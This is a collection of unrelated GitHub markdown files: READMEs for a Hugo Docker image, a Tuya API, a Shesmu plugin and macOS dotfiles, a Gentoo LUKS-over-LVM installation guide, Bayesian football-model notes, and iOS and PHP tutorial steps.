text:
# Gohugo Docker Image

![!](https://img.shields.io/dub/l/vibe-d.svg) ![!](https://img.shields.io/docker/stars/raffaeldutra/docker-gohugo.svg) ![!](https://img.shields.io/docker/pulls/raffaeldutra/docker-gohugo.svg) ![!](https://img.shields.io/docker/automated/raffaeldutra/docker-gohugo.svg) ![!](https://img.shields.io/docker/build/raffaeldutra/docker-gohugo.svg)

You can find this image in the link below.

[https://hub.docker.com/r/raffaeldutra/docker-gohugo](https://hub.docker.com/r/raffaeldutra/docker-gohugo/)

## Content for your project

The simplest way is the better way, right? I hope so.

For those who will use Linux:

* You can share the "current" directory $(pwd) to /src folder inside of Docker container. This folder is used for Hugo.
* To publish your project, you can use the "public" directory, or whatever you want, but you need to pass the /src/public directory, that's what Hugo expects, at least for now.

IMPORTANT: Image tags are the same as GoHugo releaes.

## Building an image

```bash
docker build -t raffaeldutra/docker-gohugo:<VERSION> .
```

## How to create a project

Run the command below, but pay attention because it will create a new directory called "my-new-website". Change this for what you want.

```bash
docker run --rm -d \
-v $(pwd):/my-new-project \
raffaeldutra/docker-gohugo:<VERSION> \
/usr/local/bin/hugo new site /my-new-project/my-new-website
```

Once created, go to this new directory "my-new-website" and download your template as usual.

repository: raffaeldutra/docker-gohugo

gha_language: Shell

repo_name: raffaeldutra/docker-gohugo


text:
---
layout: post
title: Gentoo rootfs over LVM encrypted in LUKS container.
---

# System scheme

1. '*/boot*' partition resides on USB stick, say *sdc1* partition.
2. '*/boot/efi*' is shared among Windows and Gentoo.
3. *rootfs* ('*/, swap, /home*') mountpoints were created op top of LVM group, say *vg1*.
4. *vg1* LVM group lays over *Dm-Crypt, LUKS* encrypted sda8*.
5. Use *keyfile* to encrypt *rootfs*. *keyfile* isteself was encrypted by *GnuPG* and placed at USB stick, say *sdc1* (same as */boot*).
6. The installation process depends mainly on Gentoo LiveCD.

# Prepare partitions

Use `parted -a optimal /dev/sda` to get a disk partition for *rootfs*. I will use *rootfs* for '*/, swap, /home*' mountpoints in this post.

>Run the very first command `unit s` in *parted* to display disk partitions as *sector*. When creating partition with `s` unit, it will be well aligned.

For *parted* example, refer to [gentoo installation](http://www.fangxiang.tk/2015/03/25/gentoo-installation/) and [kali usb persistence](http://www.fangxiang.tk/2015/07/23/kali-usb-persistence/).

Say '*/dev/sda8*' is created for *rootfs*.

Use `parted -a optimal /dev/sdc` to create '*/boot*' partition on USB stick '*/dev/sdc1*'.

'*/boot*' is *NOT* encrypted! You can use the whole USB space to hold '*/boot*', or just spare around 256MB parition.

Then formate the partition as *ext2*:

```
mkfs.ext2 -L 'usb boot' /dev/sdc1
```

# cryptsetup keyfile

## dm-crypt and LUKS

**dm-crypt** is a disk encryption system using the kernels *crypto API* framework and *device mapper* subsystem.

With *dm-crypt*, administrators can encrypt entire disks, logical volumes, partitions, but also single files.

The *dm-crypt* subsystem supports the *Linux Unified Key Setup* (LUKS) structure, which allows for multiple keys to access the encrypted data, as well as manipulate the keys (such as changing the keys, adding additional passphrases, etc.)

Although *dm-crypt* supports *non*-LUKS setups as well, this article will focus on the LUKS functionality mostly due to its flexibility, manageability as well as broad support in the community.

Refer to [Dm-crypt](https://wiki.gentoo.org/wiki/Dm-crypt) and [Dm-Crypt LUKS](https://wiki.gentoo.org/wiki/DM-Crypt_LUKS).

## Keyfile

We use `cryptsetup` command from LiveCD to encrypt *rootfs* partition '*/dev/sda8*'. We can use **passphrase** or **keyfile** as encryption key.

Considering the length, randomness and complexity of encryption requirements a *keyfile* seems to be the right spot.

We first generate a ramdom *keyfile* for *rootfs* encryption. This *keyfile* is usually put at a secure place, i.e. USB stick.

>In this scheme, *keyfile* and '*/boot*' share the same USB stick partition.

If attacker gets the USB stick, system is decrypted!! So next, we need to encrypt this *keyfile* by **GnuPG** before storing it on USB stick.

```bash
# mkdir /mnt/sdc1
# mount /dev/sdc1 /mnt/sdc1
# mkdir /dev/sdc1/key
$ dd if=/dev/urandom bs=8388607 count=1 | gpg --symmetric --cipher-algo AES256 --output ~/Desktop/luks-key.gpg
# cp /path/to/luks-key.gpg /mnt/sdc1/key/
```

Refer to [Preparing the LUKS-LVM Filesystem and Boot USB Key](https://wiki.gentoo.org/wiki/Sakaki%27s_EFI_Install_Guide/Preparing_the_LUKS-LVM_Filesystem_and_Boot_USB_Key#Creating_a_Password-Protected_Keyfile_for_LUKS).

You will be asked for passphrase to encrypt *keyfile*. Don't forget passphrase!

If you run `gpg` in LiveCD *root* shell, you might get the following error even though you set 'export GPG_TTY=$(tty)' as the reference mentioned:

```
gpg: directory `/root/.gnupg' created
gpg: new configuration file `/root/.gnupg/gpg.conf' created
gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/root/.gnupg/pubring.gpg' created
No protocol specified

(pinentry:10992): Gtk-WARNING **: cannot open display: :0
gpg-agent[10991]: can't connect to the PIN entry module: End of file
gpg-agent[10991]: command get_passphrase failed: No pinentry
gpg: problem with the agent: No pinentry
gpg: error creating passphrase: Operation cancelled
gpg: symmetric encryption of `[stdin]' failed: Operation cancelled
```

Refer to [Genkernel initramfs with LUKS+GPG key](https://forums.gentoo.org/viewtopic-p-7485020.html) and [Using gpg in mkinitcpio hook, gpg doesn't ask for a password](https://bbs.archlinux.org/viewtopic.php?id=120181).

This might be related to *>app-crypt/gnupg-2.0* version and *pinentry* support. To get this issue solved:

1. Generate *keyfile* in another workable environment.
2. Switch to normal user account shell when run `gpg` command and get he decrypted temporary *luks-key* file for LiveCD.

# Format *rootfs* using LUKS

```bash
$ gpg --decrypt /mnt/sdc1/key/luks-key.gpg > ~/Desktop/luks-key
# cryptsetup --cipher serpent-xts-plain64 --key-size 512 --hash sha512 --key-file /path/to/luks-key luksFormat /dev/sda8
```

Pay attention to `--cipher serpent-xts-plain64 --key-size 512 --hash sha512` which reminds us the related kernel option must be 'Y' **NOT** 'M'.

Check the formating effect:

```bash
# cryptsetup luksDump /dev/sda8
```

## Adding a Fallback Passphrase (Optional Step)

If we lost the *gpg* passphrase or the *keyfile*, we lost the entire system data. Besides the *keyfile*, we add a fallback passphrase.

```bash
# cryptsetup --key-file /path/to/luks-key luksAddKey /dev/sda8
# cryptsetup luksDump /dev/sda8
```

# Creating the LVM Structure on Top of LUKS

```bash
# cryptsetup --key-file /path/to/luks-key luksOpen /dev/sda8 gentoo
# ls /dev/mapper
# pvcreate /dev/mapper/gentoo
# vgcreate vg1 /dev/mapper/gentoo
# lvcreate --size 4G --name swap vg1
# lvcreate --size 18G --name root vg1
# lvcreate --extents 100%FREE --name home vg1
# pvdisplay
# vgdisplay
# lvdisplay
# vgchange --available y
# lvscan
# ls /dev/mapper
```

# Formatting and Mounting the LVM Logical Volumes (LVs)

```bash
# mkswap -L "swap" /dev/mapper/vg1-swap
# mkfs.ext4 -L "root" /dev/mapper/vg1-root
# mkfs.ext4 -m 0 -L "home" /dev/mapper/vg1-home
# swapon -v /dev/mapper/vg1-swap
# mount -v -t ext4 /dev/mapper/vg1-root /mnt/gentoo
# mkdir -v /mnt/gentoo/{home,boot}
# mount -v -t ext4 /dev/mapper/vg1-home /mnt/gentoo/home
# umount -v /dev/sdc1
# mount -v -t ext2 /dev/sdc1 /mnt/gentoo/boot
# mkdir /mnt/gentoo/boot/efi
# mount -v /dev/sda2 /mnt/gentoo/boot/efi
```

# Chroot for installing

Final preparation:

```bash
# mirrorselect -i -o >> /mnt/gentoo/etc/portage/make.conf
# mkdir -p -v /mnt/gentoo/etc/portage/repos.conf
# cp -v /mnt/gentoo/usr/share/portage/config/repos.conf /mnt/gentoo/etc/portage/repos.conf/gentoo.conf
# nano -w /mnt/gentoo/etc/portage/repos.conf/gentoo.conf
```

Make *gentoo.conf* contents as:

```
[DEFAULT]
main-repo = gentoo

[gentoo]
location = /usr/portage
sync-type = rsync
sync-uri = rsync://rsync.cn.gentoo.org/gentoo-portage
auto-sync = yes

# for daily squashfs snapshots
#sync-type = squashdelta
#sync-uri = mirror://gentoo/../snapshots/squashfs
```

The old portage sync system use *SYNC=rsync://rsync.cn.gentoo.org/gentoo-portage* in *make.conf*. In new >portage-2.2.16, it is *sync-url* in *gentoo.conf*. To get the *sync-url* value:

```bash
# mirrorselect -i -r -o | sed 's/^SYNC=/sync-uri = /;s/"//g' >> /mnt/gentoo/etc/portage/repos.conf/gentoo.conf
```

Finally *chroot* into new environment:

```bash
# cp -v -L /etc/resolv.conf /mnt/gentoo/etc/
# chroot /mnt/gentoo /bin/bash
# source /etc/profile && export PS1="(chroot) $PS1"
```

<s> After entering *chroot* environment, the very first is to mask GnuPG 2.0. Refer to *Tips -> GnuPG* at the end of post. </s>

## Return to *chroot* environment

```bash
# cryptsetup --key-file=/path/to/luks-key luksOpen /dev/sda8 gentoo
# vgchange --available y
# lvscan
# ls /dev/mapper/
# swapon -v /dev/mapper/vg1-swap
# mount -v -t ext4 /dev/mapper/vg1-root /mnt/gentoo
# mount -v -t ext4 /dev/mapper/vg1-home /mnt/gentoo/home
# mount -v -t ext2 UUID=63053222-d5f9-43af-a7ce-76f0ca5a14ed /mnt/gentoo/boot
# mount -v /dev/sda2 /mnt/gentoo/boot/efi
# cp -v -L /etc/resolv.conf /mnt/gentoo/etc/
# mount -v -t proc proc /mnt/gentoo/proc
# mount -v --rbind /sys /mnt/gentoo/sys
# mount -v --rbind /dev /mnt/gentoo/dev
# mount -v --make-rslave /mnt/gentoo/sys
# mount -v --make-rslave /mnt/gentoo/dev
# chroot /mnt/gentoo /bin/bash
# source /etc/profile && export PS1="(chroot) $PS1"
```

# *initramfs* and *grub2*

After getting into *chroot* environment, the most procedures, pleae refer to [gentoo installation](http://www.fangxiang.tk/2015/03/25/gentoo-installation/).

The main difference from that link, is *genkernel* and *grub2*.

## Kernel option support

From the above, we use `--cipher serpent-xts-plain64` and ` --hash sha512` which reminds us the related kernel option must be **Y** instead of 'M'.

>CRYPTO_SERPENT Y

>CRYPTO_SHA512 Y

Why they are should be 'Y' instead of 'M'? The boot process is basically:

1. Power on;
2. EFI firmware find the default bootloader Gentoo *grub2* at '*/dev/sda2/EFI/gentoo/grub64.efi*';
3. *grub2* launch *initramfs* into RAM;
4. *initramfs* found *GnuPG keyfile* at '*/boot/key*' and ask user for decryption; decrypted *keyfile* is used to decrypt *rootfs*.
5. Control pass to *init* scripts. After that, kernel modules loaded.

You find that if the two kernel options compiled as modules 'M', then you cannot pass the 4th step. No *serpent* and *sha512* function for *keyfile* decryption. This is the error message at boot:

>http://pastebin.com/fZgMwyNw

## genkernel

```bash
# echo "sys-kernel/genkernel cryptsetup" > /etc/portage/package.use/genkernel
# emerge -av genkernel
# genkernel --lvm --luks --gpg --busybox --install initramfs
```

You see *genkernel* takes *lvm*, *luks*, *gpg*, and *busybox* parameter. Don't worry about the `gpg` version issue mentioned earlier! `man genkernel` shows it includes *GnuPG 1.x*:

```
--[no-]gpg
           Includes or excludes support for GnuPG 1.x, the portable standalone
           branch of GnuPG. A key can be made from gpg --symmetric -o
           /path/to/LUKS-key.gpg /path/to/LUKS-key . After that, re-point the
           root_key argument to the new .gpg file.
```

Some posts mention `emerge -av app-crypt/gnupg lvm2 busybox cryptsetup` in the *chroot* system before *genkernel*. Basically, these tools are only needed in LiveCD and 'genkernel'. In our new Gentoo system, it is not a must.

*sys-kernel/genkernel cryptsetup* USE flag will draw in *cryptsetup*, and then *lvm2* in *chroot*, while *busybox* is an essential *@system* package which is included in *stage3* tar bar. You can run `equery u busybox`, and find *static* USE flag. Try:

```bash
# emerge -pvc cryptsetup
```

It will reminds:

```
Calculating dependencies... done!
  sys-fs/cryptsetup-1.6.5 pulled in by:
    sys-kernel/genkernel-<IP_ADDRESS> requires sys-fs/cryptsetup

>>> No packages selected for removal by depclean
Packages installed:   549
Packages in world:    38
Packages in system:   44
Required packages:    549
Number to remove:     0
```

There is no need to `rc-update add lvm boot`, for this is only useful when there is any other LVM devices like external removable LVM disks, USB stick etc.

## Grub2

The core is to set the correct `GRUB_CMDLINE_LINUX` parameters for *kernel* and *init* scripts. Some of those parameters are indeed consumed by the kernel (a reasonable complete list of which is provided by kernel.org); however, others are realy targeted at the *init* script. The Linux kernel passes the *init* script (or program) any parameters it has not already rocessed as arguments, and the *init* script can also read the full command line in any event, via /proc/cmdline.

```
# nano -w /etc/default/grub
GRUB_CMDLINE_LINUX="crypt_root=UUID=8e105495-5a45-4297-b6ad-6e2d97abb461 dolvm root=/dev/mapper/vg1-root rootfstype=ext4 root_keydev=UUID=63053222-d5f9-43af-a7ce-76f0ca5a14ed root_key=key/luks-key.gpg"
```

1. crypt_root: this tells *init* (provided by *genkernel*) script which partition it should attempt to decrypt with *cryptsetup*. It is set to UUID of the LUKS formatted partition, say *sda8*.
2. dolvm: activate LVM volumes on bootup.
3. rootfstype: root file system type.
4. root: the location of the root filesystem to the kernel.
5. root\_keydev: if necessary provide the name of the device that carries the root_key. If unset while using root_key, it will automatically look for the device in every boot. It specifies the device path of device on which the *keyfile* is located. In this scheme, it is the '*/boot*' USB stick.
6. root_key: In case your root is encrypted with a key, you can use a device like a usb pen to store the key. This value should be the key path relative to the mount point. In this scheme, it is in the sub-directory *key/luks-key.gpg*.

   If it has a `.gpg` extension (as our case), the *init* script will treat it as being a *gpg* encrypted *keyfile*, and prompt for a passphrase to unlock the *keyfile* first (either textually at the console, or using the splash screen manager if the system sets that).
7. Here we use UUID instead of device file path '*/dev/sda8*' or '*/dev/sdc1*'. Since UUID is unique while device path name might change. For example, if current PC is plugged in 3 usb sticks as '*/dev{/sdb,/sdc,/sdd}*' and none of them is the boot stick, *initramfs* even cannot find the *gpg keyfile* location.
8. More about these command please read `man genkernel` and *kernel.org*.

```bash
# grub2-mkconfig -o /boot/grub/grub.cfg
```

In *chroot* environment, *grub2-mkconfig* and  *os-prober* might fail to generate Windows menu. Don't worry! You can use the following template to edit '*/etc/grub.d/40_custom*'. Or run *grub2-mkconfig* again when log into the real new system.

```bash
menuentry 'Windows Boot Manager (on /dev/sda2)' --class windows --class os $menuentry_id_option 'osprober-efi-DAD1-F557' {
        insmod part_gpt
        insmod fat
        set root='hd0,gpt2'
        if [ x$feature_platform_search_hint = xy ]; then
          search --no-floppy --fs-uuid --set=root --hint-bios=hd0,gpt2 --hint-efi=hd0,gpt2 --hint-baremetal=ahci0,gpt2  DAD1-F557
        else
          search --no-floppy --fs-uuid --set=root DAD1-F557
        fi
        chainloader /EFI/Microsoft/Boot/bootmgfw.efi
}
```

# fstab

```
# UUID of usb stick
UUID="aaa-bbb-ccc-ddd..."	/boot	ext2	noauto,noatime	1 2
/dev/sda2	/boot/efi	vfat	noauto,noatime	1 0
/dev/mapper/vg1-root	/	ext4	noatime,errors=remount-ro	0 1
/dev/mapper/vg1-swap	none	swap	sw	0 0
/dev/mapper/vg1-home	/home	ext4	defaults	0 0
/dev/sda1	/mnt/Recovery	ntfs-3g		noauto,ro	0 0
/dev/sda4	/mnt/Win81	ntfs-3g		noauto,ro	0 0
/dev/sda5	/media/Data	ntfs-3g		noauto,nls=utf8,locale=zh_CN.utf8,uid=zachary,gid=users,dmask=022,fmask=133	0 0
/dev/sda6	/media/Misc	ntfs-3g		nls=utf8,locale=zh_CN.utf8,uid=zachary,gid=users,dmask=022,fmask=133	0 0
/dev/sda7	/media/WLshare	ntfs-3g		nls=utf8,locale=zh_CN.utf8,uid=zachary,gid=users,users,dmask=022,fmask=133	0 0
```

# Get out of *chroot*

```bash
# exit
# swapoff -v /dev/mapper/vg1-swap
# umount -lv /mnt/gentoo/home
# umount -lv /mnt/gentoo/boot{/eif,}
# umount -lv /mnt/gentoo/dev{/shm,/pts,}
# umount -lv /mnt/gentoo{/proc,/sys,}
# vgchange --available n
# cryptsetup luksClose gentoo
# reboot
```

# Tips

1. mtab

   ```bash
   # ln -vsf /proc/self/mounts /etc/mtab
   ```

2. XSESSION

   When emerging *xorg* and *xfce4*, the wiki recommends setting:

   ```bash
   # echo XSESSION="Xfce4" > /etc/env.d/90xsession
   ```

   for all users on the system. This is not a good idea since *root* account can run X as well, which is NOT a good scheme.

   So remove '*/etc/env.d/90xsession*' if exists.
3. Editor

    ```bash
    # eselect editor set "/usr/local/bin/ect"
    ```
    Run *eselect* as root set the system default editor for all users. Of course, you can also use method in [emacs configuration](http://www.fangxiang.tk/2014/07/12/emacs-configuration/).
4. [outdated] GnuPG

   > This is outdated.

   Though not necessary to emerge GnuPG in the new system. But later on, package *layman* will draw in *git* which in turn draws in GnuPG. As mentioned, *>app-crypt/gnupg-2.0" will cause *pinentry* issue.

   ```bash
   # echo "=app-crypt/gnupg-2*" > /etc/portage/package.mask/gnupg
   ```

   This should be the 1st thing after entering *chroot*.

# Reference

1. http://ceyes.github.io/2015-06/Gentoo-Setup-LVM-over-LUKS/
1. https://wiki.gentoo.org/wiki/Sakaki%27s_EFI_Install_Guide/Preparing_the_LUKS-LVM_Filesystem_and_Boot_USB_Key
1. http://www.gentoo-wiki.info/SECURITY_System_Encryption_DM-Crypt_with_LUKS
1. http://blog.marek.sapota.org/article/2012/10/07/installing-gentoo-on-an-encrypted-partition.html
1. http://iswwwup.com/t/c1ced3aa98c4/encryption-luks-storing-keyfile-in-encrypted-usb-drive.html
1. http://www.gossamer-threads.com/lists/gentoo/user/300698
1. http://unix.stackexchange.com/questions/183666/booting-gentoo-on-lvm-inside-luks-with-gpg-encrypted-keyfile
1. https://bbs.archlinux.org/viewtopic.php?id=120181
1. https://forums.gentoo.org/viewtopic-p-7485020.html

license: MIT

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
#  Bayesian hierarchical model for the prediction of football results

## some contexts

- using a model with 2 Poisson variables where the relevant parameters are constructed as the product of the strength in the attack for one team and the weakenss in the defense for the other (assuming the indepedence between the goals scored by the home and the visiting team)
- although low, have shown some correlations between the two quantities
- maybe bivariate Poisson distribution?
- or use the difference in the goals as a variable
- ==This paper: a Bayesian hierarchical model for the number of goals scored by the two teams in each match.== Hierarchical models are widely used in many different fields as they are natural way of taking into account relations between variables, by assuming a common distribution for a set of relevant parameters thought to underlie the outcomes of interest.

## base model

- $T=$ number of teams

- $G=$ number of games $=T\cdot(T-1)$

- $y_{g1},y_{g2}$ are the num of goals scored by home/away team in the $g$-th game

- $\mathbf{y}=(y_{g1},y_{g2})$ are modeled as independent Poisson:

  $y_{gj}|\theta_{gj}\sim Poisson(\theta_{gy})$

  conditionally on parameters $\mathbf{\theta}=(\theta_{g1},\theta_{g2})$ representing the scoring intensity in the $g$th game for home/away team.

  $\log\theta_{g1}=home+att_{h(g)}+def_{a(g)}$

  $\log\theta_{g2}=att_{a(g)+def_{a(g)}}$

- parameter $home$: home team advantage

- scoring intensity is determined jointly by the attack and defense ability of the two teams involved, as $att$ and $def$.

- priors

  - $home$ is modelled as a fiexed effect, a standard minimally informative Normal prior, $home\sim N(0,0.0001)$

  - $att$ and $def$ are team-specific effects, modelled as exchangeable from a common distribution $att_t\sim N(\mu_{att},\tau_{att}), def_t\sim N(\mu_{def},\tau_{def})$

    - need a constraint (zero-sum):

      $\sum^T_{t=1}att_t=0, \sum^T_{t=1}def_t=0$

    - also a "corner constraint":

      $att_1=0, def_1=0$

  - hyperpriors of attack and defense effects (also with minimally informative normal prior)

    - $\mu_{att}\sim N(0,0.0001), \mu_{def}\sim N(0,0.0001),$
    - $\tau_{att}\sim Gamm(0.1,0.1), \tau_{def}\sim Gamm(0.1,0.1)$

  ![dag](dag.png)

- call the unobservable hyper-parameters $\mathbf{\eta}=(\mu_{att},\mu_{def},\tau_{att},\tau_{def})$

- Each game contributes to the estimation of these parameters, which in turn generate the main effects that explain the variations in the parameters $\mathbf{\theta}$, therefore, implying a form of correlation on the observed counts $\mathbf{y}$.

## results

- 2-fold objectives:
  - obj1: estimate the value of the main effects that we used to explain the scoring rates (by entering the evidence provided by the observed results, $\mathbf{y}$ vector and updating the prior dist by means of the Baye's thm using a MCMC)
  - obj2: prediction, use the results in the implied posterior dist for the vector $\mathbf{\theta}$ to predict a future occurence of a similar (exchangeable) game. After convergence, produce a vector $\mathbf{y}^{pred}$ of 1000 replications from the posterior predictive dis of $\mathbf{y}$ that we used for direct model checking.

## hierarchical model

- drawback: overshrinkage — some of extreme occurrences tend to be pulled towards the grand mean of the observations.

- it could be possible for our case since the performance of different teams in a league in a season can diverge, some are really good, some are really bad.

- previous model the hyper-parameters assume all attack/defense intensity are drawn by a common process, which is not sufficient to capture the different skill levels of each team, therefore, shrinkage, penalizing extremely good teams and overestimating the bad teams

- hence, introducing hierarchical model with 3 different generating mechanisms: top, mid, bottom

  - model the $att$ and $def$ parameters using a non central $t$ dist on $\nu=4$ degrees of freedom, instead 2 from normal dist.

  - the observable variables, the prior specificaition for $\theta_{gj}$, the hyper-parameter $home$ is unchanged, other hypers are modell as

    - each team $t$ has two latent (unobservable) variables $grp^{att}(t), grp^{def}(t)$ taking on the value of 1,2,3 representing bottom, mid, top level. These are given suitable categorical dist each depending on a vector of prior prob $\mathbf{\pi}^{att}=(\pi^{att}_{1t}, \pi^{att}_{2t}, \pi^{att}_{3t})$ and $\mathbf{\pi}^{def}=(\pi^{def}_{1t}, \pi^{def}_{2t}, \pi^{def}_{3t})$
    - specifically assume these two vectors $\mathbf{\pi}\sim$ Dirichlet dist with parameters (1,1,1)

  - now each $att, def$ follows

    - $att_t\sim nct(\mu^{att}_{grp(t)},\tau^{att}_{grp(t)},\nu)$

    - $def_t\sim nct(\mu^{def}_{grp(t)},\tau^{def}_{grp(t)},\nu)$

    - since $grp^{att}(t)$ and $grp^{def}(t)$ unknown, mixture model ->

      $att_t=\sum^3_{k=1}\pi_{kt}^{att}\times nct(\mu^{att}_{grp(t)},\tau^{att}_{grp(t)},\nu)$

      $def_t=\sum^3_{k=1}\pi_{kt}^{def}\times nct(\mu^{def}_{grp(t)},\tau^{def}_{grp(t)},\nu)$

    - $\mu_1^{att}\sim truncN(0,0.001,-3,0)$

    - $\mu_1^{def}\sim truncN(0,0.001,0,3)$

    - $\mu_3^{att}\sim truncN(0,0.001,0,3)$

    - $\mu_3^{def}\sim truncN(0,0.001,-3,0)$

    - $\mu_2^{att}\sim N(0,\tau_2^{att})$

    - $\mu_2^{def}\sim N(0,\tau_2^{def})$

    - $\tau_k^{att}\sim Gamma(0.01, 0.01), \tau^{def}_2\sim Gamma(0.01, 0.01)$

## updated results

- use a later year result for testing

  - but the contextual settings have changed
    - winning points from 2 to 3
    - league expanding T=18 to T=20, so G=360
  - bigger gap between two extremes
    - overshrinkage occurs with base model
- findings from the result table![table](table.png)

  - ...
  - ...
  - ...

## discussion

limitation: predictions are obtailned in one batch — using the observed results to estimate the parameters.

improvement: hyper as "time" specifc, to include more variables like injuries, suspensions, winning streak etc.

## appendix

- [Bayesian hierarchical model for the prediction of football results](https://www.tandfonline.com/doi/abs/10.1080/02664760802684177), Gianluca Baio and Marta Blangiardo
- [Hierarchical Bayesian Modeling of the English Premier League](http://mc-stan.org/events/stancon2017-notebooks/stancon2017-kharratzadeh-epl.pdf), Milad Kharratzadeh, see also https://github.com/milkha/EPL_KDD
- [A Bayesian inference approach for determining player abilities in soccer](https://arxiv.org/abs/1710.00001), Gavin A. Whitaker, Ricardo Silva, Daniel Edwards
- [Modeling Match Result in Soccer using a Hierarchical Bayesian Poisson Model](http://sumsar.net/papers/baath_2015_modeling_match_resluts_in_soccer.pdf), Rasmus Baath

---

# implementation

-

repository: Reginald-Lee/biji-ben

repo_name: Reginald-Lee/biji-ben


text:
# Tuya Cloud LIDL API
 Device agnostic APIs for Tuya Cloud based devices branded for LIDL

You made it so far, it means you're looking for this. I don't have to write a proper explanation though. You clearly need a Tuya Cloud account where you can link your devices and get the API tokens first.
If you have questions please contact me, it's faster then writing it here.

Thanks to [this person who made the dirty job for authentication](https://github.com/TuyaAPI/cloud).

 It works!

repository: ttan/Tuya-Cloud-LIDL-API

branch_name: refs/heads/main

repo_name: ttan/Tuya-Cloud-LIDL-API


text:
# BED and FAI File Plugin

## BED Interval Files
This plugin allows converting a directory of BED files for specific targeted sequencing
panels into a lookup structure that contain path and chromosome information. A file ending
`.intervalbed` described below points to a separate directory of BED files.

    {
       "directory": "panels",
       "replacementPrefix": "/srv/panels"
    }

The `"directory"` property defines a path, relative to the configuration file, to scan for BED files.
The `"replacementPrefix"` defines a new prefix that should be used for paths given to the olives.
That is, suppose this file lives in `/srv/shesmu/config`, then Shesmu will
scan `/srv/shesmu/config/panels` for BED files and for a BED file `ALL.WG.hg38.bed`, it will be
given to the olive as `/srv/panels/ALL.WG.hg38.bed`.

The panels must have the format *panel*`.`*library-type*`.`*genome*`.bed`. The _genome_ can be any
characters except `.`. The _library-type_ can be any uppercase characters. Multiple library types
can be specified, separated by commas (_e.g._, `foo.EX,WG.hg19.bed`) The _panel_ can be any
characters except `.`, but `ALL` is treated specially.

When an olive performs a lookup, it must provide the panel, library type, and genome. First, an
exact match is attempted (_e.g._, `::get("TS", "mm10", "IDT Mickey Mouse"` will look
for `IDT Mickey Mouse.TS.mm10.bed`). If no exact match is found, then it will fall back on the `ALL`
file, if available (_e.g._, `::get("WG", "mm10", "IDT Mickey Mouse"` will look
for `IDT Mickey Mouse.WG.mm10.bed` first, then `ALL.WG.mm10.bed`).

Sometimes a panel has multiple names or the name contains characters that should not be in files
names (_.e.g_, `/`, `.`). In that case, a second file with the extension `.alias` can be provided
with alternate panel names, one per line. Blank lines are ignored.

## FAI Sorting Plugin
This plugin allows reading FASTA index files (`.fai`) for a genome build and
creating a sort index. A directory should contain all the `.fai` files and then
a `.genomeidx` file as follows:

    {
       "directory": "genome-indicies"
    }

The `"directory"` property defines a path, relative to the configuration file,
to scan for FAI files. It will export a function to olives called `sort_order`
that can be used like this in an olive:

    For chromosome In chromosomes:
        Sort genomeidx::foo::sort_order("hg19", chromosome)
        Where is_useful_for_workflow(chromosome)
        FixedConcat chromosome With ","

to generate a string of chromosome names in the same order as the FASTA file.

repository: oicr-gsi/shesmu

gha_language: Java

gha_license_id: MIT

repo_name: oicr-gsi/shesmu


text:
# Step 1: Implement the barebone of the User Interface Layer

- Integrate the Login View Controller and the Signup View Controller storyboaryboard scenes, with a segue in between.
  [Main.storyboard](FilesToAdd/Main.storyboard)

- Integrate the LoginViewController class and the SignupViewController class

  [LoginViewController](FilesToAdd/LoginViewController.swift)

  [SignupViewController](FilesToAdd/SignupViewController.swift)

The two classes ATM just connect the UI Elements and their actions to the code, without functionality implementation.
We will implement the functionalities with a MVVM Architecture and following TDD.

Now your project should look like this:
[Step_1_FinalCode](FinalCode/)

Next step we'll add the UI:

[Step 2](../000_Step_2/000_Step2_ModelLayer.md)

repository: CS-Development/DevelopTogetherProject

gha_language: Swift

repo_name: CS-Development/DevelopTogetherProject


text:
---
layout: post
title: Design PHP Form with $_POST Method
sub-title: This lesson walks us through handling data from a form after the submit button has been clicked, using the POST method
img: php-get.jpg
tags: [php, form, development, get]
keywords: [php, form, development, get]
series: PHP Bootstrap 4 Form and MySQL CRUD
comments: true
---
{% include JB/setup %}

{{page.sub-title}}

In our [previous lesson](https://trevoirwilliams.github.io/2019-10-25-php-get/), we added a form method of 'get' and we able to view all the data submitted on the form, on an action page. This was a good introduction to what happens after a for gets submitted, but is not recommended when dealing with sensitive data.

In this lesson, we will explore the 'post' method which hides the data being submitted from plain sight and still allows us to view it on the action page. This is a more recommended method when submitting sensitive and personal information.

If you liked this video and would like to see some more lessons, please subscribe to my [YouTube Channel](http://bit.ly/2JlTIs4) and/or leave a comment below.

If you are new to PHP and would like to understand basic syntax, then you can complete this free [PHP Basics course](http://bit.ly/2nEh7NT).

Jump start your PHP career today!


text:
# Dotfiles

This repository contains a collection of [dotfiles](https://dotfiles.github.io/) and scripts used to configure and customize my OS X environment. This is an adaptation of [@hideoo's work](https://github.com/hideoo/dotfiles) from my own recipes without the fancy Dotbot implementation and with some more bash tooling around it.

## Main Features

[icasp's Prezto](https://github.com/icasp/prezto), a fork of [Prezto](https://github.com/sorin-ionescu/prezto), the configuration framework for Zsh, is used and will be automatically installed if not detected.

Using the main script `deploy.sh`, three main actions are available:

### "init"

This script will install Prezto if necessary, automatically sync all dotfiles included in this repository to their assumed location and install some useful scripts to your system.
Also backs up any existing dotfiles before deploying new version.

Included main dotfiles (can be configured in *candidates.conf*):

  * All [Prezto](https://github.com/sorin-ionescu/prezto) configuration
  * [.streamlinkrc](https://streamlink.github.io/cli.html#cli-streamlinkrc)
  * [.wgetrc](https://www.gnu.org/software/wget/manual/html_node/Wgetrc-Commands.html)
  * .curlrc
  * [.vimrc](http://www.vim.org/docs.php) (and .vim folder)
  * screenrc.d
  * editorconfig

Additional (alternative) dotfiles (can be configured in *.altcandidates.conf*):
These will only try to deploy if user matches variable "ME" in *deploy.sh*
  * [.gitconfig](https://git-scm.com/docs/git-config)
  * .aws
  * .livestreamerrc (token included in repo is bogus)
  * .streamlinkrc (token included in repo is bogus)

Included scripts:

  * `imgcat`: Script showing inline images in iTerm2 v3.

A call to "install.sh" will automatically install all your applications from Chrome to Node and configure your environment settings. This action is meant to be used after a fresh install of macOS.

### "update"

Same as init without the macOS applications and settings deployment.

### "audit"

Will perform a scan of dotfiles mentioned in configuration files and check for existence and differences.

## Secondary Features

**MAC RESET** : available in subdirectory *mac_reset* with its own README, allows to fully backup macOS data and applications preferences on an external media and restore.
Sort of a "one time" time machine for a clean reinstallation with backup really limited to personal data and key components.
See [mac_reset dedicated README](https://github.com/icasp/dotfiles/blob/master/mac_reset/README.md)

## Usage

*Note: To properly customize the scripts, you should fork this repository and modify it to fit your needs and include your own configuration. You can also copy whatever portion of script / configuration that you find useful.*

To install, just clone the repository and set the correct permissions:

```
$ git clone https://github.com/icasp/dotfiles
$ cd dotfiles
$ chmod +x deploy.sh
```

```
